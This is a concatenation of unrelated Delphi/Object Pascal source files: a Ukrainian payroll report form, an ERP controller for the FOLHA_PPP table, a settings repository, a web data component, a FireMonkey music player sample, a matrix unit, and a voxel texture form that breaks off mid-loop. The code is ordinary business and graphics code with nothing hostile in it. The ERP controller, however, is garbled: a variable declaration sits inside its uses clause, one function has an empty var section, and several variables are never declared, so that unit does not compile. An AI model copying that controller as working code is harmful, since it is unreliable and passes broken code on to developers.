DateUtils, uMovingTable, uExportReport; {$R *.dfm} procedure TfrmTableChangesPrint.PrepareReport; var p: Integer; ShowNag: Boolean; begin Loaded := False; with SelectFrame do begin if not AllBox.Checked then begin AcceptButton.Click; if not SelectFrame.Loaded then Exit; DB['Id_Table_Group'] := Id_Table_Group; end; DB['Date_Beg'] := DateBegPicker.DateTime; DB['Date_End'] := DateEndPicker.DateTime; DB.RemoveDataset(ChangesDataset); ShowNag := DB.ShowNagScreen; DB.ShowNagScreen := True; if not AllBox.Checked then ChangesDataset := DB.QueryData(TableChangesSQL, 'Id_Table_Group, Date_Beg, Date_End') else ChangesDataset := DB.QueryData(AllTableChangesSQL, 'Date_Beg, Date_End'); DB.ShowNagScreen := ShowNag; if ChangesDataSet.IsEmpty then begin MessageDlg('Коректувань не знайдено!', mtInformation, [mbOk], 0); Exit; end; if not AllBox.Checked then TableGroup := TTableGroup.Create(ChangesDataset, Date_Beg, Date_End) else TableGroup := TTableGroup.Create(ChangesDataset); TableGroup.AddPreviosVersions; TableGroup.Get; MainSource.DataSet := ChangesDataset; end; if TypeBox.ItemIndex = 0 then TableReport.LoadFromFile(ProgramPath + 'Reports\ASUP\TableChanges.frf') else TableReport.LoadFromFile(ProgramPath + 'Reports\ASUP\TableChangesSimple.frf'); frVariables['Org'] := UpperCase(Consts_Query['Firm_Name']); with SelectFrame do begin if AllBox.Checked then frVariables['Department'] := 'За усіма підрозділами' else if OptionPageControl.ActivePage = DepartmentsPage then frVariables['Department'] := DepartmentEdit.Text else if OptionPageControl.ActivePage = GroupPage then frVariables['Department'] := GroupEdit.Text else if OptionPageControl.ActivePage = OneManPage then frVariables['Department'] := FIOEdit.Text; p := Pos(' - ', MonthBox.Text); if p <> 0 then frVariables['Rep_Month'] := Copy(MonthBox.Text, p + 3, Length(MonthBox.Text)) else frVariables['Rep_Month'] := MonthBox.Text; frVariables['Rep_Year'] := YearEdit.Value; end; frVariables['Changes_Beg'] := DateOf(DateBegPicker.Date); frVariables['Changes_End'] := DateOf(DateEndPicker.Date); Loaded := True; end; procedure TfrmTableChangesPrint.LoadState; var reg: TRegistry; begin with SelectFrame do begin LoadState; reg := TRegistry.Create; try reg.RootKey := HKEY_CURRENT_USER; if reg.OpenKey('\Software\ASUP\Table\', False) then begin try DateBegPicker.DateTime := reg.ReadDateTime('Date_Beg'); DateEndPicker.DateTime := reg.ReadDateTime('Date_End'); except DateBegPicker.DateTime := StartOfTheMonth(Date); DateEndPicker.DateTime := EndOfTheMonth(Date); end; end; reg.CloseKey; finally reg.Free; end; end; end; procedure TfrmTableChangesPrint.FormClose(Sender: TObject; var Action: TCloseAction); var reg: TRegistry; begin SelectFrame.SaveState; reg := TRegistry.Create; try reg.RootKey := HKEY_CURRENT_USER; if reg.OpenKey('\Software\ASUP\Table\', False) then begin try reg.WriteDateTime('Date_Beg', DateBegPicker.DateTime); reg.WriteDateTime('Date_End', DateEndPicker.DateTime); except end; end; reg.CloseKey; finally reg.Free; end; DB.RemoveDataset(ChangesDataset); TableGroup.Free; end; procedure TfrmTableChangesPrint.OkButtonClick(Sender: TObject); begin PrepareReport; if Loaded then if sDesignReport then TableReport.DesignReport else TableReport.ShowReport; end; procedure TfrmTableChangesPrint.ExportButtonClick(Sender: TObject); begin PrepareReport; if Loaded then ExportReportTo(TableReport); end; procedure TfrmTableChangesPrint.FormCreate(Sender: TObject); begin DB := IBX_DB; end; procedure TfrmTableChangesPrint.TableReportGetValue(const ParName: string; var ParValue: Variant); var field: TField; new_param: string; old_val, new_val: Variant; begin field := ChangesDataset.FindField(ParName); if field <> nil then ParValue := field.Value else if ParName = 'The_Month' then if AllBox.Checked then ParValue := FormatDateTime('[m місяць yyyy року] ', TableGroup[CurrentTable].Span.Date_Beg) else ParValue := '' else if ParName = 'Nomer' then ParValue := ChangesDataset.RecNo else if ParName = 'All' then ParValue := AllBox.Checked else if Pos('Old_', ParName) = 1 then begin if PrevTable <> -1 then begin new_param := Copy(ParName, 5, Length(ParName) - 4); ParValue := TableGroup.GetParam(new_param, PrevTable, CurrentDay); end else ParValue := ''; end else if Pos('Diff_', ParName) = 1 then begin new_param := Copy(ParName, 6, Length(ParName) - 5); new_val := TableGroup.GetParam(new_param, CurrentTable, CurrentDay); if PrevTable = -1 then ParValue := new_val else begin old_val := TableGroup.GetParam(new_param, PrevTable, CurrentDay); ParValue := new_val - old_val; end; end else if UpperCase(ParName) = 'VIHODNSTRING' then ParValue := TableGroup[0].GetVihodnString else if UpperCase(ParName) = 'PRAZNSTRING' then ParValue := TableGroup[0].GetPraznString else ParValue := TableGroup.GetParam(ParName, CurrentTable, CurrentDay); end; procedure TfrmTableChangesPrint.TableDatasetCheckEOF(Sender: TObject; var Eof: Boolean); begin if AllBox.Checked then Eof := CurrentDay > 31 else Eof := CurrentDay > DaysInAMonth(SelectFrame.Year, SelectFrame.Month) end; procedure TfrmTableChangesPrint.TableDatasetFirst(Sender: TObject); begin CurrentDay := 1; end; procedure TfrmTableChangesPrint.TableDatasetNext(Sender: TObject); begin inc(CurrentDay); end; procedure TfrmTableChangesPrint.TableDatasetPrior(Sender: TObject); begin dec(CurrentDay); end; procedure TfrmTableChangesPrint.MainSourceDataChange(Sender: TObject; Field: TField); var y, m: Word; begin if AllBox.Checked then begin y := ChangesDataset['Table_Year']; m := ChangesDataset['Table_Month']; end else begin y := SelectFrame.YearEdit.Value; m := SelectFrame.MonthBox.ItemIndex + 1; end; CurrentDay := 1; CurrentTable := TableGroup.FindByVers(ChangesDataset['Id_Man_Moving'], y, m, ChangesDataset['Version_Num']); PrevTable := TableGroup.FindByVers(ChangesDataset['Id_Man_Moving'], y, m, ChangesDataset['Version_Num'] - 1); end; procedure TfrmTableChangesPrint.SelectFrameMonthBoxChange(Sender: TObject); begin { SelectFrame.MonthBoxChange(Sender); DateBegPicker.DateTime := StartOfTheMonth(EncodeDate( SelectFrame.YearEdit.Value, SelectFrame.MonthBox.ItemIndex+1, 1)); DateEndPicker.DateTime := EndOfTheMonth(DateBegPicker.DateTime);} end; procedure TfrmTableChangesPrint.AllBoxClick(Sender: TObject); begin SelectFrame.Enabled := not AllBox.Checked; end; procedure TfrmTableChangesPrint.SelectFrameAcceptButtonClick( Sender: TObject); begin SelectFrame.AcceptButtonClick(Sender); end; end.
{******************************************************************************* Title: T2Ti ERP Description: Controller do lado Cliente relacionado à tabela [FOLHA_PPP] The MIT License Copyright: Copyright (C) 2016 T2Ti.COM Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. The author may be contacted at: t2ti.com@gmail.com @author Albert Eije (t2ti.com@gmail.com) @version 2.0 *******************************************************************************} unit FolhaPppController; {$MODE Delphi} interface uses Classes, Dialogs, SysUtils, DB, LCLIntf, LCLType, LMessages, Forms, Controller, VO, ZDataset, FolhaPppVO; type TFolhaPppController = class(TController) private public class function Consulta(pFiltro: String; pPagina: String): TZQuery; class function ConsultaLista(pFiltro: String): TListaFolhaPppVO; class function ConsultaObjeto(pFiltro: String): TFolhaPppVO; class procedure Insere(pObjeto: TFolhaPppVO); class function Altera(pObjeto: TFolhaPppVO): Boolean; class function Exclui(pId: Integer): Boolean; end; implementation uses UDataModule, T2TiORM, FolhaPppCatVO, FolhaPppAtividadeVO, FolhaPppFatorRiscoVO, var ObjetoLocal: TFolhaPppVO; FolhaPppExameMedicoVO; class function TFolhaPppController.Consulta(pFiltro: String; pPagina: String): TZQuery; begin try ObjetoLocal := TFolhaPppVO.Create; Result := TT2TiORM.Consultar(ObjetoLocal, pFiltro, pPagina); finally ObjetoLocal.Free; end; end; class function TFolhaPppController.ConsultaLista(pFiltro: String): TListaFolhaPppVO; begin try ObjetoLocal := TFolhaPppVO.Create; Result := TListaFolhaPppVO(TT2TiORM.Consultar(ObjetoLocal, pFiltro, True)); finally ObjetoLocal.Free; end; end; class function TFolhaPppController.ConsultaObjeto(pFiltro: String): TFolhaPppVO; begin try Result := TFolhaPppVO.Create; Result := TFolhaPppVO(TT2TiORM.ConsultarUmObjeto(Result, pFiltro, True)); finally end; end; class procedure TFolhaPppController.Insere(pObjeto: TFolhaPppVO); var UltimoID: Integer; begin try UltimoID := TT2TiORM.Inserir(pObjeto); // CAT FolhaPppCatEnumerator := pObjeto.ListaFolhaPppCatVO.GetEnumerator; try with FolhaPppCatEnumerator do begin while MoveNext do begin Current.IdFolhaPpp := UltimoID; TT2TiORM.Inserir(Current); end; end; finally FreeAndNil(FolhaPppCatEnumerator); end; // Atividade FolhaPppAtividadeEnumerator := pObjeto.ListaFolhaPppAtividadeVO.GetEnumerator; try with FolhaPppAtividadeEnumerator do begin while MoveNext do begin Current.IdFolhaPpp := UltimoID; TT2TiORM.Inserir(Current); end; end; finally FreeAndNil(FolhaPppAtividadeEnumerator); end; // Fator Risco FolhaPppFatorRiscoEnumerator := pObjeto.ListaFolhaPppFatorRiscoVO.GetEnumerator; try with FolhaPppFatorRiscoEnumerator do begin while MoveNext do begin Current.IdFolhaPpp := UltimoID; TT2TiORM.Inserir(Current); end; end; finally FreeAndNil(FolhaPppFatorRiscoEnumerator); end; // Exame Médico FolhaPppExameMedicoEnumerator := pObjeto.ListaFolhaPppExameMedicoVO.GetEnumerator; try with FolhaPppExameMedicoEnumerator do begin while MoveNext do begin Current.IdFolhaPpp := UltimoID; TT2TiORM.Inserir(Current); end; end; finally FreeAndNil(FolhaPppExameMedicoEnumerator); end; Consulta('ID = ' + IntToStr(UltimoID), '0'); finally end; end; class function TFolhaPppController.Altera(pObjeto: TFolhaPppVO): Boolean; var begin try Result := TT2TiORM.Alterar(pObjeto); // CAT try FolhaPppCatEnumerator := pObjeto.ListaFolhaPppCatVO.GetEnumerator; with FolhaPppCatEnumerator do begin while MoveNext do begin if Current.Id > 0 then Result := TT2TiORM.Alterar(Current) else begin Current.IdFolhaPpp := pObjeto.Id; Result := TT2TiORM.Inserir(Current) > 0; end; end; end; finally FreeAndNil(FolhaPppCatEnumerator); end; // Atividade try FolhaPppAtividadeEnumerator := pObjeto.ListaFolhaPppAtividadeVO.GetEnumerator; with FolhaPppAtividadeEnumerator do begin while MoveNext do begin if Current.Id > 0 then Result := TT2TiORM.Alterar(Current) else begin Current.IdFolhaPpp := pObjeto.Id; Result := TT2TiORM.Inserir(Current) > 0; end; end; end; finally FreeAndNil(FolhaPppAtividadeEnumerator); end; // Fator Risco try FolhaPppFatorRiscoEnumerator := pObjeto.ListaFolhaPppFatorRiscoVO.GetEnumerator; with FolhaPppFatorRiscoEnumerator do begin while MoveNext do begin if Current.Id > 0 then Result := TT2TiORM.Alterar(Current) else begin Current.IdFolhaPpp := pObjeto.Id; Result := TT2TiORM.Inserir(Current) > 0; end; end; end; finally FreeAndNil(FolhaPppFatorRiscoEnumerator); end; // Exame Médico try FolhaPppExameMedicoEnumerator := pObjeto.ListaFolhaPppExameMedicoVO.GetEnumerator; with FolhaPppExameMedicoEnumerator do begin while MoveNext do begin if Current.Id > 0 then Result := TT2TiORM.Alterar(Current) else begin Current.IdFolhaPpp := pObjeto.Id; Result := TT2TiORM.Inserir(Current) > 0; end; end; end; finally FreeAndNil(FolhaPppExameMedicoEnumerator); end; finally end; end; class function TFolhaPppController.Exclui(pId: Integer): Boolean; var ObjetoLocal: TFolhaPppVO; begin try ObjetoLocal := TFolhaPppVO.Create; ObjetoLocal.Id := pId; Result := TT2TiORM.Excluir(ObjetoLocal); finally FreeAndNil(ObjetoLocal) end; end; initialization Classes.RegisterClass(TFolhaPppController); finalization Classes.UnRegisterClass(TFolhaPppController); end.
unit uSettingsRepository; interface uses uConstants, uMemory, uDBEntities, uDBContext, uDBClasses; type TSettingsRepository = class(TBaseRepository<TSettings>, ISettingsRepository) public function Get: TSettings; function Update(Settings: TSettings): Boolean; end; implementation { TSettingsRepository } function TSettingsRepository.Get: TSettings; var SC: TSelectCommand; begin Result := TSettings.Create; SC := Context.CreateSelect(TableSettings); try SC.AddParameter(TAllParameter.Create()); SC.AddWhereParameter(TCustomConditionParameter.Create('1 = 1')); if SC.Execute > 0 then Result.ReadFromDS(SC.DS); finally F(SC); end; end; function TSettingsRepository.Update(Settings: TSettings): Boolean; var UC: TUpdateCommand; begin Result := True; UC := Context.CreateUpdate(TableSettings); try UC.AddParameter(TIntegerParameter.Create('DBJpegCompressionQuality', Settings.DBJpegCompressionQuality)); UC.AddParameter(TIntegerParameter.Create('ThImageSize', Settings.ThSize)); //UC.AddParameter(TIntegerParameter.Create('ThHintSize', Settings.ThHintSize)); //UC.AddParameter(TIntegerParameter.Create('ThSizePanelPreview', Settings.ThSizePanelPreview)); UC.AddParameter(TStringParameter.Create('DBName', Settings.Name)); UC.AddParameter(TStringParameter.Create('DBDescription', Settings.Description)); UC.AddWhereParameter(TCustomConditionParameter.Create('1 = 1')); UC.Execute; finally F(UC); end; end; end.
unit TpDbText; interface uses Windows, SysUtils, Classes, Controls, Graphics, Types, TypInfo, ThWebControl, ThTag, ThDbText, TpControls, TpDb; type TTpDbText = class(TThCustomDbText) private FDataSource: TTpDataSource; FOnGenerate: TTpEvent; protected procedure SetDataSource(const Value: TTpDataSource); protected procedure Notification(AComponent: TComponent; Operation: TOperation); override; procedure LabelTag(inTag: TThTag); override; published property FieldName; property DataSource: TTpDataSource read FDataSource write SetDataSource; property OnGenerate: TTpEvent read FOnGenerate write FOnGenerate; end; implementation function GetModularName(inComponent: TComponent): string; begin if inComponent = nil then Result := '' else begin Result := inComponent.Name; if (inComponent.Owner <> nil) and (inComponent.Owner is TWinControl) then begin if TWinControl(inComponent.Owner).Parent.ClassName = 'TTpModule' then Result := TWinControl(inComponent.Owner).Parent.Name + '.' + Result; end; end; end; { TTpDbText } procedure TTpDbText.Notification(AComponent: TComponent; Operation: TOperation); begin inherited; if (Operation = opRemove) and (AComponent = FDataSource) then begin FDataSource := nil; Data.DataSource := nil; end; end; procedure TTpDbText.SetDataSource(const Value: TTpDataSource); begin TpSetDataSource(Self, Value, FDataSource, Data); { if FDataSource <> nil then FDataSource.RemoveFreeNotification(Self); // FDataSource := Value; // if FDataSource <> nil then FDataSource.FreeNotification(Self); // if FDataSource <> nil then Data.DataSource := FDataSource.DataSource else Data.DataSource := nil; } end; procedure TTpDbText.LabelTag(inTag: TThTag); begin inherited; with inTag do begin Add(tpClass, 'TTpDbText'); Add('tpName', Name); if (DataSource <> nil) and not DataSource.DesignOnly then Add('tpDataSource', GetModularName(DataSource)); // Add('tpDataSource', DataSource.Name); Add('tpField', FieldName); Add('tpOnGenerate', OnGenerate); end; end; end.
//--------------------------------------------------------------------------- // Copyright (c) 2016 Embarcadero Technologies, Inc. All rights reserved. // // This software is the copyrighted property of Embarcadero Technologies, Inc. // ("Embarcadero") and its licensors. You may only use this software if you // are an authorized licensee of Delphi, C++Builder or RAD Studio // (the "Embarcadero Products"). This software is subject to Embarcadero's // standard software license and support agreement that accompanied your // purchase of the Embarcadero Products and is considered a Redistributable, // as such term is defined thereunder. Your use of this software constitutes // your acknowledgement of your agreement to the foregoing software license // and support agreement. //--------------------------------------------------------------------------- unit MediaPlayerU; interface uses MusicPlayer.Utils, {$IFDEF IOS} MusicPlayer.iOS, {$ENDIF} {$IFDEF ANDROID} MusicPlayer.Android, {$ENDIF} FMX.Types, System.SysUtils, System.UITypes, System.Classes, System.Permissions, FMX.Controls, FMX.Forms, FMX.StdCtrls, FMX.ListBox, FMX.Layouts, FMX.TabControl, System.Actions, FMX.ListView.Types, FMX.ListView, FMX.Dialogs, FMX.MobilePreview, FMX.MultiView, FMX.Controls.Presentation, FMX.ListView.Appearances, FMX.ListView.Adapters.Base; type TFMXMusicPlayerFrm = class(TForm) tcUITabs: TTabControl; tiAlbums: TTabItem; tiSongs: TTabItem; tiNowPlaying: TTabItem; lvAlbums: TListView; lvSongs: TListView; tbNowPlaying: TToolBar; btnPlay: TButton; btnPrev: TButton; btnPause: TButton; btnNext: TButton; btnStop: TButton; lyState: TLayout; lblArtist: TLabel; lblTitle: TLabel; lblAlbum: TLabel; lblDuration: TLabel; lblArtistVal: TLabel; lblDurationVal: TLabel; lblTitleVal: TLabel; lblAlbumVal: TLabel; tbProgress: TTrackBar; SettingsList: TListBox; RepeatModes: TListBoxGroupHeader; All: TListBoxItem; One: TListBoxItem; None: TListBoxItem; Default: TListBoxItem; ShuffleMusic: TListBoxGroupHeader; ShufffleMode: TListBoxItem; swShuffleMode: TSwitch; VolumeHeader: TListBoxGroupHeader; VolumeListItem: TListBoxItem; VolumeTrackBar: TTrackBar; mvSettings: TMultiView; lyProgressSettings: TLayout; btnSettings: TButton; volTimer: TTimer; tbSettings: TToolBar; lblSettings: TLabel; btnCloseSettings: TButton; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure lvAlbumsChange(Sender: TObject); procedure lvSongsChange(Sender: TObject); procedure tbProgressChange(Sender: TObject); procedure btnPlayClick(Sender: TObject); procedure btnPauseClick(Sender: TObject); procedure btnStopClick(Sender: TObject); procedure btnNextClick(Sender: TObject); procedure btnPrevClick(Sender: TObject); procedure RepeatItemsClick(Sender: TObject); procedure swShuffleModeSwitch(Sender: TObject); procedure VolumeTrackBarChange(Sender: TObject); procedure volTimerTimer(Sender: TObject); procedure btnCloseSettingsClick(Sender: TObject); private FPermissionReadExternalStorage: string; procedure DisplayRationale(Sender: TObject; const APermissions: TArray<string>; const APostRationaleProc: TProc); procedure ReadStoragePermissionRequestResult(Sender: TObject; const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>); procedure DoUpdateUI(newPos: Single); procedure UpdateNowPlaying(newIndex: Integer); procedure UpdateSongs; procedure SongChanged(newIndex: Integer); procedure StateChanged(state: TMPPlaybackState); public { Public declarations } end; var FMXMusicPlayerFrm: TFMXMusicPlayerFrm; implementation uses {$IFDEF ANDROID} Androidapi.Helpers, Androidapi.JNI.JavaTypes, Androidapi.JNI.Os, {$ENDIF} FMX.DialogService; {$R *.fmx} procedure TFMXMusicPlayerFrm.FormCreate(Sender: TObject); begin {$IFDEF ANDROID} tcUITabs.TabPosition := TTabPosition.Top; FPermissionReadExternalStorage := JStringToString(TJManifest_permission.JavaClass.READ_EXTERNAL_STORAGE); {$ENDIF} TMusicPlayer.DefaultPlayer.OnSongChange := SongChanged; TMusicPlayer.DefaultPlayer.OnProcessPlay := DoUpdateUI; PermissionsService.RequestPermissions([FPermissionReadExternalStorage], ReadStoragePermissionRequestResult, DisplayRationale) end; procedure TFMXMusicPlayerFrm.FormDestroy(Sender: TObject); begin TMusicPlayer.DefaultPlayer.OnSongChange := nil; TMusicPlayer.DefaultPlayer.OnProcessPlay := nil; end; procedure TFMXMusicPlayerFrm.btnNextClick(Sender: TObject); begin TMusicPlayer.DefaultPlayer.Next; StateChanged(TMusicPlayer.DefaultPlayer.PlaybackState); end; procedure TFMXMusicPlayerFrm.btnPauseClick(Sender: TObject); begin TMusicPlayer.DefaultPlayer.Pause; StateChanged(TMPPlaybackState.Paused); end; procedure TFMXMusicPlayerFrm.btnPlayClick(Sender: TObject); begin TMusicPlayer.DefaultPlayer.Play; StateChanged(TMPPlaybackState.Playing); end; procedure TFMXMusicPlayerFrm.btnPrevClick(Sender: TObject); begin TMusicPlayer.DefaultPlayer.Previous; StateChanged(TMusicPlayer.DefaultPlayer.PlaybackState); end; procedure TFMXMusicPlayerFrm.btnStopClick(Sender: TObject); begin TMusicPlayer.DefaultPlayer.Stop; StateChanged(TMPPlaybackState.Stopped); end; procedure TFMXMusicPlayerFrm.btnCloseSettingsClick(Sender: TObject); begin mvSettings.HideMaster; end; // Optional rationale display routine to display permission requirement rationale to the user procedure TFMXMusicPlayerFrm.DisplayRationale(Sender: TObject; const APermissions: TArray<string>; const APostRationaleProc: TProc); begin // Show an explanation to the user *asynchronously* - don't block this thread waiting for the user's response! // After the user sees the explanation, invoke the post-rationale routine to request the permissions TDialogService.ShowMessage('The app needs to read files from your device storage to show you the songs and albums available to you', procedure(const AResult: TModalResult) begin APostRationaleProc; end); end; procedure TFMXMusicPlayerFrm.DoUpdateUI(newPos: Single); var handler: TNotifyEvent; begin handler := tbProgress.OnChange; tbProgress.OnChange := nil; tbProgress.Value := newPos; tbProgress.OnChange := handler; end; procedure TFMXMusicPlayerFrm.lvAlbumsChange(Sender: TObject); begin TMusicPlayer.DefaultPlayer.GetSongsInAlbum(TMusicPlayer.DefaultPlayer.Albums[lvAlbums.ItemIndex].Name); UpdateSongs; tcUITabs.SetActiveTabWithTransition(tiSongs,TTabTransition.Slide); end; procedure TFMXMusicPlayerFrm.lvSongsChange(Sender: TObject); begin TMusicPlayer.DefaultPlayer.PlayByIndex(lvSongs.ItemIndex); UpdateNowPlaying(lvSongs.ItemIndex); tcUITabs.SetActiveTabWithTransition(tiNowPlaying,TTabTransition.Slide); StateChanged(TMPPlaybackState.Playing); end; procedure TFMXMusicPlayerFrm.ReadStoragePermissionRequestResult(Sender: TObject; const APermissions: TArray<string>; const AGrantResults: TArray<TPermissionStatus>); var Item: TListViewItem; album: TMPAlbum; begin // 1 permission involved: READ_EXTERNAL_STORAGE if (Length(AGrantResults) = 1) and (AGrantResults[0] = TPermissionStatus.Granted) then begin TMusicPlayer.DefaultPlayer.GetAlbums; TMusicPlayer.DefaultPlayer.GetSongs; if Length(TMusicPlayer.DefaultPlayer.Albums) >= 2 then begin lvAlbums.BeginUpdate; for album in TMusicPlayer.DefaultPlayer.Albums do begin Item := lvAlbums.Items.Add; Item.Text := album.Name; Item.Detail := album.Artist; Item.Bitmap := album.Artwork end; lvAlbums.EndUpdate; UpdateSongs; RepeatItemsClick(All); StateChanged(TMPPlaybackState.Stopped); end else TDialogService.ShowMessage('There is no music on this device'); end else TDialogService.ShowMessage('Cannot list out the music files because the required permission is not granted'); end; procedure TFMXMusicPlayerFrm.RepeatItemsClick(Sender: TObject); var Item : TListBoxItem; I : Integer; begin if Sender is TListBoxItem then begin for I := 0 to SettingsList.Items.Count - 1 do SettingsList.ItemByIndex(i).ItemData.Accessory := TListBoxItemData.TAccessory.aNone; Item := Sender as TListBoxItem; if Item.Text = 'All' then TMusicPlayer.DefaultPlayer.RepeatMode := TMPRepeatMode.All; if Item.Text = 'One' then TMusicPlayer.DefaultPlayer.RepeatMode := TMPRepeatMode.One; if Item.Text = 'None' then TMusicPlayer.DefaultPlayer.RepeatMode := TMPRepeatMode.None; if Item.Text = 'Default' then TMusicPlayer.DefaultPlayer.RepeatMode := TMPRepeatMode.Default; Item.ItemData.Accessory := TListBoxItemData.TAccessory.aCheckmark; end; end; procedure TFMXMusicPlayerFrm.SongChanged(newIndex: Integer); var handler: TNotifyEvent; begin handler := lvSongs.OnChange; lvSongs.OnChange := nil; lvSongs.ItemIndex := newIndex; UpdateNowPlaying(newIndex); lvSongs.OnChange := handler; StateChanged(TMPPlaybackState.Playing); end; procedure TFMXMusicPlayerFrm.StateChanged(state: TMPPlaybackState); begin btnPlay.Enabled := not (state in [TMPPlaybackState.Playing]); btnPause.Enabled := not (state in [TMPPlaybackState.Paused, TMPPlayBackState.Stopped]); btnStop.Enabled := not (state in [TMPPlaybackState.Stopped]); tbProgress.Enabled := not (state in [TMPPlaybackState.Stopped, TMPPlaybackState.Paused]); btnNext.Enabled := TMusicPlayer.DefaultPlayer.CanSkipForward; btnPrev.Enabled := TMusicPlayer.DefaultPlayer.CanSkipBack; end; procedure TFMXMusicPlayerFrm.swShuffleModeSwitch(Sender: TObject); begin TMusicPlayer.DefaultPlayer.ShuffleMode := swShuffleMode.IsChecked; end; procedure TFMXMusicPlayerFrm.tbProgressChange(Sender: TObject); begin TMusicPlayer.DefaultPlayer.Time := (tbProgress.Value * TMusicPlayer.DefaultPlayer.Duration)/100; end; procedure TFMXMusicPlayerFrm.UpdateNowPlaying(newIndex: Integer); begin if newIndex >= 0 then begin lblArtistVal.Text := TMusicPlayer.DefaultPlayer.Playlist[newIndex].Artist; lblTitleVal.Text := TMusicPlayer.DefaultPlayer.Playlist[newIndex].Title; lblAlbumVal.Text := TMusicPlayer.DefaultPlayer.Playlist[newIndex].Album; lblDurationVal.Text := TMusicPlayer.DefaultPlayer.Playlist[newIndex].Duration; end; end; procedure TFMXMusicPlayerFrm.UpdateSongs; var song: TMPSong; Item: TListViewItem; begin lvSongs.BeginUpdate; lvSongs.Items.Clear; for song in TMusicPlayer.DefaultPlayer.Playlist do begin Item := lvSongs.Items.Add; if song.Artist <> 'Unknown' then Item.Text := Format('%s - %s',[song.Artist, song.Title]) else Item.Text := song.Title; end; lvSongs.EndUpdate; end; procedure TFMXMusicPlayerFrm.volTimerTimer(Sender: TObject); var LEvent: TNotifyEvent; begin LEvent := VolumeTrackBar.OnChange; VolumeTrackBar.OnChange := nil; VolumeTrackBar.Value := TMusicPlayer.DefaultPlayer.Volume; VolumeTrackBar.OnChange := LEvent; end; procedure TFMXMusicPlayerFrm.VolumeTrackBarChange(Sender: TObject); begin TMusicPlayer.DefaultPlayer.Volume := VolumeTrackBar.Value; end; end.
unit UMatrix; interface type TMatrix = record A: array [0..2,0..2] of Single; end; PMatrix =^TMatrix; function MulMx(const M1, M2: TMatrix): TMatrix; function TransMx(const tx,ty:Extended):TMatrix; function RotMx(const ang:Extended):TMatrix; function ScaleMx(const sx,sy:Extended):TMatrix; procedure FillMx(const a,b,c,d,e,f:Extended;var M:TMatrix); procedure TransFormVal(const Mx:TMatrix;const ax, ay: Extended; var Xo,Yo: Extended ); const IdentityMatrix: TMatrix=(A:((1.0,0.0,0.0),(0.0,1.0,0.0),(0.0,0.0,1.0))); implementation uses Sysutils,math; procedure TransFormVal(const Mx:TMatrix;const ax, ay: Extended; var Xo,Yo: Extended ); begin with Mx do begin Xo := (A[0, 0] * ax + A[1, 0] * ay) + A[2, 0]; Yo := (A[0, 1] * ax + A[1, 1] * ay) + A[2, 1]; end; end; function TransMx(const tx,ty:Extended):TMatrix; begin Result := IdentityMatrix; Result.A[2, 0] := tx; Result.A[2, 1] := ty; end; function RotMx(const ang:Extended):TMatrix; var S, C: Extended; begin SinCos(ang, S, C); Result := IdentityMatrix; Result.A[0, 0] := C; Result.A[1, 0] := S; Result.A[0, 1] := -S; Result.A[1, 1] := C; end; function ScaleMx(const sx,sy:Extended):TMatrix; begin Result := IdentityMatrix; Result.A[0, 0] := sx; Result.A[1, 1] := sy; end; procedure FillMx(const a,b,c,d,e,f:Extended;var M:TMatrix); begin M.A[0, 0] := a; M.A[0, 1] := b; M.A[1, 0] := c; M.A[1, 1] := d; M.A[2, 0] := e; M.A[2, 1] := f; M.A[0, 2] := 0; M.A[1, 2] := 0; M.A[2, 2] := 1; end; function MulMx(const M1, M2: TMatrix): TMatrix; var I, J: Integer; begin for I := 0 to 2 do for J := 0 to 2 do Result.A[I, J] := M1.A[0, J] * M2.A[I, 0] + M1.A[1, J] * M2.A[I, 1] + M1.A[2, J] * M2.A[I, 2]; end; end.
unit FormVoxelTexture; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls,voxel, ExtDlgs,math, ComCtrls, BasicDataTypes, Voxel_Engine, Palette, VoxelUndoEngine; type TFrmVoxelTexture = class(TForm) Panel1: TPanel; Image1: TImage; BtGetVoxelTexture: TButton; BtApplyTexture: TButton; BtLoadTexture: TButton; BtSaveTexture: TButton; OpenPictureDialog1: TOpenPictureDialog; SavePictureDialog1: TSavePictureDialog; BtSavePalette: TButton; Image2: TImage; CbPaintRemaining: TCheckBox; Bevel2: TBevel; Panel2: TPanel; Image3: TImage; Label2: TLabel; Label3: TLabel; Bevel3: TBevel; Panel3: TPanel; BtOK: TButton; BtCancel: TButton; ProgressBar: TProgressBar; LbCurrentOperation: TLabel; procedure BtGetVoxelTextureClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure BtLoadTextureClick(Sender: TObject); procedure BtSaveTextureClick(Sender: TObject); procedure BtSavePaletteClick(Sender: TObject); procedure BtApplyTextureClick(Sender: TObject); procedure BtOKClick(Sender: TObject); procedure BtCancelClick(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; implementation uses FormMain, GlobalVars, BasicVXLSETypes; {$R *.dfm} procedure TFrmVoxelTexture.BtGetVoxelTextureClick(Sender: TObject); var x,y,z,zmax,xmax,ymax,lastheight : integer; v : tvoxelunpacked; begin xmax := FrmMain.Document.ActiveSection^.Tailer.XSize-1; ymax := FrmMain.Document.ActiveSection^.Tailer.YSize-1; zmax := FrmMain.Document.ActiveSection^.Tailer.ZSize-1; Image1.Picture.Bitmap.Canvas.Brush.Color := GetVXLPaletteColor(-1); Image1.Picture.Bitmap.Width := 0; Image1.Picture.Bitmap.Height := 0; Image1.Picture.Bitmap.Width := FrmMain.Document.ActiveSection^.Tailer.XSize; Image1.Picture.Bitmap.Height := FrmMain.Document.ActiveSection^.Tailer.YSize; // Take back texture. for x := 0 to 